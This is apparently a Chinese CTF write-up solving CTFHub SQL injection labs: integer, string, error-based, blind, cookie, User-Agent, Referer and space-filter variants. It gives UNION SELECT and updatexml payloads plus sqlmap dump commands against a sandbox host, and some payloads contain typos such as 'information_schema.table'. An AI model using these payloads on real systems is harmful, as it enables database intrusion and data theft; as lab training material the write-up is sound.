CTFHUB之sql注入
1.整数型注入
1.这里我使用的是Hackbar来进行sql注入,首先先判断有没有注入漏洞
加单引号
去掉‘加上and 1=1发现出现了回显
将1=1变为1=2,语句正确但是无法访问数据库
这里可以判定这里存在数字注入漏洞
2.接下来判断字段数量
这里输入id=1 order by 2看是否字段数量是否是2个
3.查询SQL语句插入位置
这里使用联合查询,查询库名。可以在data库中插入sql语句,也就是2的位置
4.获取数据库库名
1)获取当前数据库库名,数据库的名称为sqli
2)获取所有数据库的库名
这里输入union select 1,group_concat(schema_name)from information_schema.schemata
3)逐条获取数据库库名
select schema_name from information_schema.schemata limit 0,1;
修改limit中第一个数字获取其他的数据库名,如获取第二个库名:limit 1,1。
5.获取数据库表名
一次性获取当前数据库所有的表名
union select 1,group_concat(table_name) from information_schema.table where table_schema=‘sqli’
6.这时候已经发现flag只需要把这个字段得出即可,把flag里的所有的字段得出
union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘sqli’ and table_name=‘flag’
7.获取数据
一次性获取所有数据
union select 1,group_concat(flag) from sqli.flag
2.字符型注入
这里使用sqlmap来进行查库
1.sqlmap爆当前数据库信息
python sqlmap.py -u “http://challenge-fe965eeefb82914d.sandbox.ctfhub.com:10080/?id=1” --current-db
数据库名称为sqli
2.sqlmap列出指定数据库所有的表名
python sqlmap.py -u “http://challenge-fe965eeefb82914d.sandbox.ctfhub.com:10080/?id=1” -D sqli --tables
表名为flag,news
3.sqlmap列出指定表名的所有列名
python sqlmap.py -u “http://challenge-fe965eeefb82914d.sandbox.ctfhub.com:10080/?id=1” -D sqli -T flag --columns
4.sqlmap爆出指定列名字段的值数据
python sqlmap.py -u “http://challenge-fe965eeefb82914d.sandbox.ctfhub.com:10080/?id=1” -D sqli -T flag -C flag --dump
3.报错注入
1.查询当前使用的数据库
-1 union select updatexml(1, concat(0x7e, database(),0x7e),1)
2.查询数据库表名
-1 union select updatexml(1, concat(0x7e,( select( group_concat( table_name))from information_schema.tables where table_schema=“sqli”),0x7e),1)
3.获取表的字段名
-1 union select updatexml(1, concat(0x7e,( select( group_concat(column_name))from information_schema.columns where table_schema=‘sqli’ and table_name=‘flag’),0x7e),1)
4.获取指定数据库的表的列的内容(得到flag)
4.布尔盲注
这里使用上面的sqlmap方法,这是这里使用的是布尔盲注
5.时间盲注
这里的办法和上面的一样。
MYSQL结构
1.输入1发现两个输入点,验证这两个输入点
2.获取数据库名称
3.得到数据库中的表的名称
4.查询jvqhzntymw的字段名称
5.查询对应字段的值得到flag
COOKIE注入
1.判断注入点
2.爆当前数据库信息
3.列出指定数据库所有的表名 vjfntvadvv
4.列出指定表名的所有列名
5.查询对应字段的值,得到flag
UA注入
1.抓包分析,注入点在请求头中
2.查看所有的数据库
3.查询所有表
4.查询所有的字段,查询flag
Refer注入
1.先进行抓包处理,这里没有referer在bp中加入
2.查库
查表
查字段
找到flag
过滤空格
1.先输入id=1 order by 2
2.这里使用hackbar进行注入。这里用/**/来代替空格
先进行查库
3.查表
4.查字段找到flag